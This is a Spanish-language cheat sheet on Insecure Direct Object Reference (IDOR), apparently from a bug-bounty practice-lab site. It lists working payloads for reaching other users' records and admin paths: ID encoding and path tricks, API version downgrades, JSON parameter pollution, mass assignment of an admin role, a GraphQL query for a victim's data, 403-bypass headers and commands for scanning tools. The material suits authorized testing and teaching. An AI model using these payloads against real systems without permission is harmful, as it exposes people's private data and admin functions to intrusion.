Nuevos labs cada semana — Accede a todos desde 5€/mes

Cheatsheet IDOR

Insecure Direct Object Reference

Referencia rápida

  • El IDOR existe porque la capa que autoriza y la capa que procesa interpretan el input diferente
  • Encoded space (%20) es la tecnica con mayor ratio de exito segun investigaciones
  • Siempre probar version downgrade de API: v5 -> v4, v3, v2, v1
  • UUID v1 es predecible si conoces timestamp aproximado - solo v4 tiene alta entropia
  • Buscar IDs filtrados en otras respuestas API, Referrer headers y signup flows

Tecnicas de bajo ruido

Trailing slash

/api/v5/users/99/

Double slash

/api/v5//users//99

Subpath variantsProbar tambien: /details, /info, /summary, /export

/api/v5/users/99/profile

Query param vs pathDiferentes code paths de parsing

/users?id=99

Multi-ID filterList endpoints suelen tener menos proteccion

?ids[]=100&ids[]=99

Version downgrade y formato

API version downgradeVersiones antiguas pueden no tener ACL modernos

/api/v2/users/99

Type confusion - string

/users/"99"

Leading zeros

/users/099

Hexadecimal0x63 = 99 en hexadecimal

/users/0x63

Encoded space (mas exitoso)Tecnica con mayor ratio de exito real

/users/99%20

Null byte

/users/99%00

Composite (combinar)Version downgrade + encoded space + trailing slash

/api/v2/users/99%20/

Manipulacion de parametros

JSON parameter pollutionBackend puede tomar el segundo valor

{"userid":1234,"userid":2542}

Wrap ID con array

{"userid":[123]}

Wrap ID con objeto

{"userid":{"userid":123}}

Mass assignment - role

{"username":"test","role":"admin","isVerified":true}

GraphQL IDOR

query { user(id: "victim-id") { email role personalData } }

Type confusion (object ID swap)Sustituir tipo de ID esperado por otro tipo

page_id=USER_ID

Bypass 403 con headers

X-Original-URL

X-Original-URL: /api/v5/admin/100

X-Forwarded-For

X-Forwarded-For: 127.0.0.1

X-Custom-IP-Authorization

X-Custom-IP-Authorization: 127.0.0.1

X-Rewrite-URL

X-Rewrite-URL: /admin

X-HTTP-Method-OverrideCambiar metodo HTTP via header

X-HTTP-Method-Override: PUT

Bypass 403 con URL encoding

Path con punto

/admin/.

Path con punto-coma

/admin;/

Path con doble encoding

/admin%252f

Path con %2e

/%2e/admin

Path con null byte

/admin%00.json

Case manipulation

/ADMIN

Path traversal y vuelta

/admin/./../../admin

Herramientas

Autorize (Burp)

Extension de Burp que detecta IDOR automaticamente comparando sesiones

Burp Suite > Extensions > Autorize > Configure cookies

bypass-403

Prueba automaticamente multiples tecnicas de bypass 403

python3 bypass-403.py https://target.com/admin

Arjun

Descubre parametros HTTP ocultos en endpoints API

arjun -u https://target.com/api/endpoint

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica